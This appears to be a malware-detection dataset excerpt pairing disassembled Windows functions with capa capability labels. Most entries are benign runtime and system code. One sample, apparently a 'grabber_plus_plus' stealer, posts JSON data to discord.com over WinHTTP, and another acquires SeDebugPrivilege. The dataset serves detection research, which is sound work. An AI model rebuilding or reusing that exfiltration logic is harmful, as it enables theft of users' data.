joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14001c8d0
Capabilities:
Get graphical window text

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x150
mov rax, qword [0x14002a010]
xor rax, rsp
mov qword [rsp + 0x140], rax
xor esi, esi
mov edi, edx
mov ebx, esi
nop word [rax + rax]
xor r9d, r9d
xor r8d, r8d
mov rdx, rbx
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowExA]
lea rdx, [rsp + 0x20]
mov dword [rsp + 0x20], esi
mov rcx, rax
mov rbx, rax
call qword [sym.imp.USER32.dll_GetWindowThreadProcessId]
cmp dword [rsp + 0x20], edi
jne 0x14001c954
mov r8d, 0x104
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [sym.imp.USER32.dll_GetWindowTextA]
mov rcx, rbx
call qword [sym.imp.USER32.dll_IsWindowVisible]
test eax, eax
je 0x14001c954
cmp byte [rsp + 0x30], sil
jne 0x14001c980
test rbx, rbx
jne 0x14001c900
xor eax, eax
mov rcx, qword [rsp + 0x140]
xor rcx, rsp
call fcn.14001d220
lea r11, [rsp + 0x150]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rsp, r11
pop rdi
ret
mov rax, rbx
jmp 0x14001c95b

Function at 0x14001cc3c
Capabilities:
Get geographical location

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x40
mov rdi, rdx
lea r8, [rsp + 0x60]
mov ebx, ecx
mov edx, 0x20000001
lea rcx, str._x_sys_default_locale
mov r9d, 2
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoEx]
mov r8d, ebx
mov ecx, 0x1300
neg eax
sbb r9d, r9d
and qword [rsp + 0x30], 0
and r9d, dword [rsp + 0x60]
xor edx, edx
and dword [rsp + 0x28], 0
mov dword [rsp + 0x60], r9d
mov qword [rsp + 0x20], rdi
call qword [sym.imp.KERNEL32.dll_FormatMessageA]
mov edx, eax
test eax, eax
je 0x14001ccc0
mov r8, qword [rdi]
dec r8
add r8, rdx
movzx ecx, byte [r8]
lea rax, [0x140020770]
cmp byte [rcx + rax], 0
je 0x14001ccc0
dec r8
sub rdx, 1
jne 0x14001cca6
mov rbx, qword [rsp + 0x50]
mov rax, rdx
add rsp, 0x40
pop rdi
ret

Function at 0x14001dcd0
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14001dd1a
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14001dd1a
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14001dd1a
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14001dd1a
cmp dword [rcx + 0x84], 0xe
jbe 0x14001dd1a
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x14001dd1c
xor al, al
add rsp, 0x28
ret
Function at 0x140011398
Capabilities:
Terminate process

Disassembly:
jmp 0x140018e70
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x28
ret

Function at 0x1400113a7
Capabilities:
Initialize winhttp library

Disassembly:
jmp 0x140016950
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0xf8
lea rbp, [rsp + 0x30]
lea rcx, [0x14002b201]
call fcn.140011695
mov rax, qword [rbp + 0xe0]
mov rcx, qword [rbp + 0xe8]
mov qword [rax + 0x10], rcx
mov rax, qword [rbp + 0xe0]
mov qword [rax], 0
mov rax, qword [rbp + 0xe0]
mov qword [rax + 8], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, str.grabber_plus_plus_1.0
call qword [sym.imp.WINHTTP.dll_WinHttpOpen]
mov rcx, qword [rbp + 0xe0]
mov qword [rcx], rax
mov rax, qword [rbp + 0xe0]
cmp qword [rax], 0
je 0x140016a01
xor r9d, r9d
mov r8w, 0x1bb
lea rdx, str.discord.com
mov rax, qword [rbp + 0xe0]
mov rcx, qword [rax]
call qword [sym.imp.WINHTTP.dll_WinHttpConnect]
mov rcx, qword [rbp + 0xe0]
mov qword [rcx + 8], rax
mov rax, qword [rbp + 0xe0]
lea rsp, [rbp + 0xc8]
pop rdi
pop rbp
ret

Function at 0x14001140b
Capabilities:
Read http header
Receive http response

Disassembly:
jmp 0x1400142e0
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x138
lea rbp, [rsp + 0x30]
lea rdi, [rsp + 0x30]
mov ecx, 0x12
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x158]
mov rax, qword [0x140025018]
xor rax, rbp
mov qword [rbp + 0xf8], rax
lea rcx, [0x14002b0db]
call fcn.140011695
mov rax, qword [rbp + 0x120]
cmp dword [rax + 0x10], 0
je 0x140014353
xor edx, edx
mov rax, qword [rbp + 0x120]
mov rcx, qword [rax + 8]
call qword [sym.imp.WINHTTP.dll_WinHttpReceiveResponse]
mov rcx, qword [rbp + 0x120]
mov dword [rcx + 0x10], eax
mov rax, qword [rbp + 0x120]
cmp dword [rax + 0x10], 0
je 0x1400143a4
mov dword [rbp + 4], 0
mov dword [rbp + 0x24], 4
mov qword [rsp + 0x28], 0
lea rax, [rbp + 0x24]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 4]
xor r8d, r8d
mov edx, 0x20000013
mov rax, qword [rbp + 0x120]
mov rcx, qword [rax + 8]
call qword [sym.imp.WINHTTP.dll_WinHttpQueryHeaders]
test eax, eax
je 0x1400143a4
mov eax, dword [rbp + 4]
mov rdi, rax
lea rcx, [rbp - 0x30]
lea rdx, [0x140021080]
call fcn.140011578
mov rax, rdi
mov rcx, qword [rbp + 0xf8]
xor rcx, rbp
call fcn.14001132a
lea rsp, [rbp + 0x108]
pop rdi
pop rbp
ret
Function at 0x140011492
Capabilities:
Parse pe header

Disassembly:
jmp 0x14001a1c0
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x14001a1e0
xor al, al
jmp 0x14001a261
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x14001a1f3
xor al, al
jmp 0x14001a261
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x14001a21d
xor al, al
jmp 0x14001a261
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x14001a231
xor al, al
jmp 0x14001a261
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x14001a243
xor al, al
jmp 0x14001a261
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x14001a25f
xor al, al
jmp 0x14001a261
mov al, 1
add rsp, 0x38
ret

Function at 0x1400114ba
Capabilities:
Prepare http request

Disassembly:
jmp 0x1400135e0
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x198
lea rbp, [rsp + 0x40]
lea rcx, [0x14002b0db]
call fcn.140011695
mov rax, qword [rbp + 0x170]
mov rcx, qword [rbp + 0x178]
mov qword [rax], rcx
mov rax, qword [rbp + 0x170]
add rax, 0x18
mov rcx, rax
call fcn.140011686
nop
mov r8, qword [rbp + 0x180]
lea rdx, str._content_:__
lea rcx, [rbp + 0xc8]
call fcn.140011055
mov qword [rbp + 0x138], rax
mov rax, qword [rbp + 0x138]
mov qword [rbp + 0x140], rax
lea r8, [0x1400213a4]
mov rdx, qword [rbp + 0x140]
lea rcx, [rbp + 0x108]
call fcn.140011618
mov qword [rbp + 0x148], rax
mov rax, qword [rbp + 0x170]
add rax, 0x18
mov rdx, qword [rbp + 0x148]
mov rcx, rax
call fcn.1400111db
lea rcx, [rbp + 0x108]
call fcn.14001114f
nop
lea rcx, [rbp + 0xc8]
call fcn.14001114f
mov rax, qword [rbp + 0x170]
mov rax, qword [rax]
cmp qword [rax + 8], 0
je 0x140013713
mov rax, qword [rbp + 0x170]
mov rax, qword [rax]
mov rcx, qword [rbp + 0x170]
mov rcx, qword [rcx]
mov dword [rsp + 0x30], 0x800000
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rax + 0x10]
lea rdx, str.POST
mov rcx, qword [rcx + 8]
call qword [sym.imp.WINHTTP.dll_WinHttpOpenRequest]
mov rcx, qword [rbp + 0x170]
mov qword [rcx + 8], rax
mov rcx, qword [rbp + 0x180]
call fcn.14001114f
mov rax, qword [rbp + 0x170]
lea rsp, [rbp + 0x158]
pop rdi
pop rbp
ret
Function at 0x1400114d3
Capabilities:
Send data
Send http request

Disassembly:
jmp 0x140014410
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x138
lea rbp, [rsp + 0x40]
lea rdi, [rsp + 0x40]
mov ecx, 0xe
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x158]
mov rax, qword [0x140025018]
xor rax, rbp
mov qword [rbp + 0xe8], rax
lea rcx, [0x14002b0db]
call fcn.140011695
mov dword [rbp + 4], 0
mov rax, qword [rbp + 0x110]
cmp qword [rax + 8], 0
je 0x1400144e3
mov rax, qword [rbp + 0x110]
add rax, 0x18
mov rcx, rax
call fcn.1400110b4
mov rcx, rax
call fcn.1400112d5
mov dword [rbp + 0xd4], eax
mov rax, qword [rbp + 0x110]
mov rax, qword [rax + 8]
mov qword [rbp + 0xd8], rax
mov qword [rsp + 0x30], 0
mov eax, dword [rbp + 0xd4]
mov dword [rsp + 0x28], eax
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, 0xffffffff
lea rdx, str.Content_Type:_application_json_r_n
mov rcx, qword [rbp + 0xd8]
call qword [sym.imp.WINHTTP.dll_WinHttpSendRequest]
mov rcx, qword [rbp + 0x110]
mov dword [rcx + 0x10], eax
mov rax, qword [rbp + 0x110]
cmp dword [rax + 0x10], 0
je 0x140014566
mov rax, qword [rbp + 0x110]
add rax, 0x18
mov rcx, rax
call fcn.1400110b4
mov rcx, rax
call fcn.1400112d5
mov dword [rbp + 0xd4], eax
mov rax, qword [rbp + 0x110]
add rax, 0x18
mov rcx, rax
call fcn.1400110b4
mov qword [rbp + 0xd8], rax
mov rax, qword [rbp + 0x110]
mov rax, qword [rax + 8]
mov qword [rbp + 0xe0], rax
lea r9, [rbp + 4]
mov r8d, dword [rbp + 0xd4]
mov rdx, qword [rbp + 0xd8]
mov rcx, qword [rbp + 0xe0]
call qword [sym.imp.WINHTTP.dll_WinHttpWriteData]
mov rcx, qword [rbp + 0x110]
mov dword [rcx + 0x10], eax
mov rax, qword [rbp + 0x110]
cmp dword [rax + 0x10], 0
je 0x140014577
mov al, 1
jmp 0x140014579
xor al, al
mov rdi, rax
lea rcx, [rbp - 0x40]
lea rdx, [0x140020fa0]
call fcn.140011578
mov rax, rdi
mov rcx, qword [rbp + 0xe8]
xor rcx, rbp
call fcn.14001132a
lea rsp, [rbp + 0xf8]
pop rdi
pop rbp
ret
Function at 0x140001270
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
push rdi
sub rsp, 0x20
xor ebp, ebp
mov rbx, rcx
lea r8d, [rbp + 0xa]
call qword [sym.imp.KERNEL32.dll_FindResourceW]
mov rdi, rax
test rax, rax
je 0x14000131a
mov rdx, rax
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_LoadResource]
test rax, rax
je 0x14000131a
mov rcx, rax
mov qword [rsp + 0x30], rsi
call qword [sym.imp.KERNEL32.dll_LockResource]
mov rdx, rdi
mov rcx, rbx
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov ebx, eax
mov eax, 2
shr ebx, 1
lea ecx, [rbx + 1]
mul rcx
mov rcx, 0xffffffffffffffff
cmovo rax, rcx
mov rcx, rax
call fcn.140001714
add rbx, rbx
mov rdx, rsi
mov r8, rbx
mov rcx, rax
mov rdi, rax
call fcn.140002670
mov rsi, qword [rsp + 0x30]
mov rax, rdi
mov word [rbx + rdi], bp
mov rbx, qword [rsp + 0x38]
mov rbp, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
mov rbx, qword [rsp + 0x38]
mov rax, rbp
mov rbp, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x140001070
Capabilities:
Acquire debug privileges

Disassembly:
sub rsp, 0x68
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x30], 0
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea r8, [rsp + 0x30]
mov edx, 0x20
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x140001138
lea r8, [rsp + 0x38]
xor ecx, ecx
lea rdx, str.SeDebugPrivilege
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
test eax, eax
je 0x140001138
mov rax, qword [rsp + 0x38]
lea r8, [rsp + 0x40]
mov rcx, qword [rsp + 0x30]
mov r9d, 0x10
mov qword [rsp + 0x28], 0
xor edx, edx
mov qword [rsp + 0x44], rax
mov dword [rsp + 0x40], 1
mov dword [rsp + 0x4c], 2
mov qword [rsp + 0x20], 0
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
test eax, eax
je 0x140001138
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Privileges_error:__d_n
call fcn.140001010
mov eax, 1
mov rcx, qword [rsp + 0x50]
xor rcx, rsp
call fcn.140001ae0
add rsp, 0x68
ret
xor eax, eax
mov rcx, qword [rsp + 0x50]
xor rcx, rsp
call fcn.140001ae0
add rsp, 0x68
ret
Function at 0x1400023b4
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400023fe
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400023fe
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400023fe
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400023fe
cmp dword [rcx + 0x84], 0xe
jbe 0x1400023fe
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140002400
xor al, al
add rsp, 0x28
ret
Function at 0x140021dc5
Capabilities:
Terminate process

Disassembly:
jmp 0x14005e420
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x28
ret

Function at 0x1400221a3
Capabilities:
Parse pe header

Disassembly:
jmp 0x14005f770
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x14005f790
xor al, al
jmp 0x14005f811
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x14005f7a3
xor al, al
jmp 0x14005f811
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x14005f7cd
xor al, al
jmp 0x14005f811
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x14005f7e1
xor al, al
jmp 0x14005f811
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x14005f7f3
xor al, al
jmp 0x14005f811
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x14005f80f
xor al, al
jmp 0x14005f811
mov al, 1
add rsp, 0x38
ret
Function at 0x140002d30
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
mov rbx, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call fcn.140003e60
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sub.msvcrt.dll_fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call fcn.140003e60
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop
nop dword [rax]

Function at 0x140002da0
Capabilities:
Allocate or change rwx memory

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x1400090a4]
mov rbx, rcx
test esi, esi
jle 0x140002ed0
mov rax, qword [0x1400090a8]
xor r9d, r9d
add rax, 0x18
nop word [rax + rax]
mov r8, qword [rax]
cmp rbx, r8
jb 0x140002deb
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp rbx, r8
jb 0x140002e75
add r9d, 1
add rax, 0x28
cmp r9d, esi
jne 0x140002dd0
mov rcx, rbx
call fcn.1400037f0
mov rdi, rax
test rax, rax
je 0x140002ef2
mov rax, qword [0x1400090a8]
lea rbx, [rsi + rsi*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rdi
mov dword [rax], 0
call fcn.140003930
mov edx, dword [rdi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x1400090a8]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x140002ed7
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x140002e6e
lea edx, [rax - 4]
and edx, 0xfffffffb
jne 0x140002e80
add dword [0x1400090a4], 1
add rsp, 0x50
pop rbx
pop rsi
pop rdi
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 0x40
mov eax, 4
cmove r8d, eax
add rbx, qword [0x1400090a8]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x140002e6e
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.140002d30
nop dword [rax]
xor esi, esi
jmp 0x140002df8
mov rax, qword [0x1400090a8]
mov edx, dword [rdi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call fcn.140002d30
mov rdx, rbx
lea rcx, str.Address__p_has_no_image_section
call fcn.140002d30
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x140003460
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
lea r12, [0x140009100]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x1400090e0]
test rbx, rbx
je 0x1400034bc
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax]
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x1400034b3
test rsi, rsi
je 0x1400034b3
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x140003498
mov rcx, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
Function at 0x1400037f0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x1400069e0]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x140003810
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x140003818
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140003810
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x14000386d
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x140003864
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x140003810
add rax, 0x28
cmp rax, r9
jne 0x140003850
xor eax, eax
ret

Function at 0x140003870
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x1400069e0]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x14000388f
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x140003898
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x14000388f
movzx ecx, word [rax + 6]
mov eax, ecx
ret

Function at 0x140003930
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x1400069e0]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x14000394f
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x140003958
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret
Function at 0x140006620
Capabilities:
Delete service

Disassembly:
mov r11, rsp
push rsi
push rdi
push r14
sub rsp, 0x60
mov qword [r11 - 0x58], 0xfffffffffffffffe
mov qword [r11 + 0x10], rbx
mov qword [r11 + 0x18], rbp
mov rax, qword [0x1400ae3a8]
xor rax, rsp
mov qword [rsp + 0x58], rax
mov rsi, rcx
lea r8, str.CVdsServiceModule::Uninstall__
mov edx, 0x5e
lea rcx, [r11 - 0x50]
call qword [sym.imp.vdsutil.dll_public:_void___cdecl_CVdsCallTracer::constructor_unsigned_long_int__char_const____ptr64____ptr64]
nop dword [rax + rax]
nop
mov rcx, rsi
call fcn.140005ab4
mov edi, 1
cmp eax, edi
je 0x140006751
test eax, eax
js 0x14000674f
xor edx, edx
xor ecx, ecx
mov r8d, 0xf003f
call qword [sym.imp.api_ms_win_service_management_l1_1_0.dll_OpenSCManagerW]
nop dword [rax + rax]
mov rbp, rax
test rax, rax
jne 0x1400066ad
lea edx, [rdi + 0x67]
jmp 0x140006741
mov r8d, 0x10020
mov rdx, rsi
mov rcx, rbp
call qword [sym.imp.api_ms_win_service_management_l1_1_0.dll_OpenServiceW]
nop dword [rax + rax]
mov r14, rax
test rax, rax
jne 0x1400066e2
mov rcx, rbp
call qword [sym.imp.api_ms_win_service_management_l1_1_0.dll_CloseServiceHandle]
nop dword [rax + rax]
lea edx, [r14 + 0x6a]
jmp 0x140006741
lea r8, [rsp + 0x38]
mov edx, edi
mov rcx, r14
call qword [sym.imp.api_ms_win_service_winsvc_l1_1_0.dll_ControlService]
nop dword [rax + rax]
mov rcx, r14
call qword [sym.imp.api_ms_win_service_management_l1_1_0.dll_DeleteService]
nop dword [rax + rax]
mov ebx, eax
mov rcx, r14
call qword [sym.imp.api_ms_win_service_management_l1_1_0.dll_CloseServiceHandle]
nop dword [rax + rax]
mov rcx, rbp
call qword [sym.imp.api_ms_win_service_management_l1_1_0.dll_CloseServiceHandle]
nop dword [rax + rax]
lea rcx, [0x140064d48]
call qword [sym.imp.vdsutil.dll_RemoveEventSource]
nop dword [rax + rax]
test ebx, ebx
jne 0x140006751
lea edx, [rbx + 0x6b]
mov r8d, reloc.ATL.DLL_AtlModuleInit
mov rcx, rsi
call fcn.140005ba4
xor edi, edi
lea rcx, [rsp + 0x28]
call qword [sym.imp.vdsutil.dll_public:_void___cdecl_CVdsCallTracer::destructor_void____ptr64]
nop dword [rax + rax]
mov eax, edi
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.14005b270
lea r11, [rsp + 0x60]
mov rbx, qword [r11 + 0x28]
mov rbp, qword [r11 + 0x30]
mov rsp, r11
pop r14
pop rdi
pop rsi
ret
Function at 0x140016c60
Capabilities:
Get disk information

Disassembly:
push rbx
sub rsp, 0x40
mov qword [rsp + 0x20], 0xfffffffffffffffe
mov rbx, rcx
lea r8, str.CVdsService::AddNetworkShare__
mov edx, 0x5e
lea rcx, [rsp + 0x28]
call qword [sym.imp.vdsutil.dll_public:_void___cdecl_CVdsCallTracer::constructor_unsigned_long_int__char_const____ptr64____ptr64]
nop dword [rax + rax]
nop
mov rcx, rbx
call qword [sym.imp.api_ms_win_core_file_l1_1_0.dll_GetDriveTypeW]
nop dword [rax + rax]
mov edx, 3
cmp eax, edx
je 0x140016ce0
mov r9d, eax
lea r8, str.CVdsService::AddNetworkShare:_Skipping_NetShareAdd__:_GetDriveType_____u
lea ecx, [rdx + 0x5b]
call qword [sym.imp.vdsutil.dll_VdsTraceEx]
nop dword [rax + rax]
mov ebx, 1
lea rcx, [rsp + 0x28]
call qword [sym.imp.vdsutil.dll_public:_void___cdecl_CVdsCallTracer::destructor_void____ptr64]
nop dword [rax + rax]
mov eax, ebx
add rsp, 0x40
pop rbx
ret
movzx ecx, word [rbx]
mov rax, qword [0x1400af040]
mov word [rax], cx
movzx ecx, word [rbx]
mov rax, qword [0x1400af068]
mov word [rax], cx
xor r9d, r9d
lea r8, [0x1400af040]
mov edx, 0x1f6
xor ecx, ecx
call qword [sym.imp.srvcli.dll_NetShareAdd]
nop dword [rax + rax]
test eax, eax
je 0x140016cc1
mov r9d, 0x846
lea r8, str.CVdsService::AddNetworkShare:_NetShareAdd___failed:__ld
mov ecx, 0x5e
cmp eax, r9d
jne 0x140016d43
lea edx, [rcx - 0x5d]
call qword [sym.imp.vdsutil.dll_VdsTraceEx]
nop dword [rax + rax]
jmp 0x140016d54
mov r9d, eax
xor edx, edx
call qword [sym.imp.vdsutil.dll_VdsTraceEx]
nop dword [rax + rax]
xor ebx, ebx
jmp 0x140016cc6
Function at 0x140025af0
Capabilities:
Check if file exists

Disassembly:
mov rax, rsp
push rbp
push r14
push r15
lea rbp, [rax - 0x178]
sub rsp, 0x260
mov qword [rsp + 0x28], 0xfffffffffffffffe
mov qword [rax + 8], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
mov rax, qword [0x1400ae3a8]
xor rax, rsp
mov qword [rbp + 0x150], rax
mov r15, rdx
and qword [rdx], 0
xor r14d, r14d
mov r8, rcx
mov edx, 0x104
lea rcx, [rsp + 0x40]
call fcn.14000b39c
lea r8, [0x1400663c0]
lea rcx, [rsp + 0x40]
call fcn.1400264c4
lea r8, [rsp + 0x40]
xor edx, edx
mov esi, 0x1f0003
mov ecx, esi
call qword [sym.imp.api_ms_win_core_synch_l1_1_0.dll_OpenSemaphoreW]
nop dword [rax + rax]
mov rdi, rax
mov qword [rsp + 0x30], rax
test rax, rax
jne 0x140025bdb
call qword [sym.imp.api_ms_win_core_errorhandling_l1_1_0.dll_GetLastError]
nop dword [rax + rax]
cmp eax, 2
jne 0x140025bc3
mov qword [r15], r14
xor eax, eax
mov rcx, qword [rbp + 0x150]
xor rcx, rsp
call fcn.14005b270
lea r11, [rsp + 0x260]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x30]
mov rdi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
mov rcx, qword [rbp + 0x178]
mov edx, 0xc9
call fcn.14000ccfc
mov ebx, eax
jmp 0x140025cbb
and dword [rsp + 0x24], 0
and dword [rsp + 0x20], 0
lea rdx, [rsp + 0x24]
mov rcx, rdi
call fcn.14000d964
mov ebx, eax
test eax, eax
jns 0x140025c1a
mov rcx, qword [rbp + 0x178]
mov r9d, eax
mov edx, 0xcf
call fcn.14000ccc0
nop
mov rcx, rdi
call fcn.14000d5b8
jmp 0x140025cbb
lea r8, [0x1400663c8]
lea rcx, [rsp + 0x40]
call fcn.1400264c4
lea r8, [rsp + 0x40]
xor edx, edx
mov ecx, esi
call qword [sym.imp.api_ms_win_core_synch_l1_1_0.dll_OpenSemaphoreW]
nop dword [rax + rax]
mov rsi, rax
mov qword [rsp + 0x38], rax
test rax, rax
jne 0x140025c62
mov rcx, qword [rbp + 0x178]
mov edx, 0xd5
call fcn.14000ccfc
mov ebx, eax
jmp 0x140025c0d
lea rdx, [rsp + 0x20]
mov rcx, rsi
call fcn.14000d964
mov ebx, eax
test eax, eax
jns 0x140025c98
mov rcx, qword [rbp + 0x178]
mov r9d, eax
mov edx, 0xd7
call fcn.14000ccc0
nop
mov rcx, rsi
call fcn.14000d5b8
nop
jmp 0x140025c0d
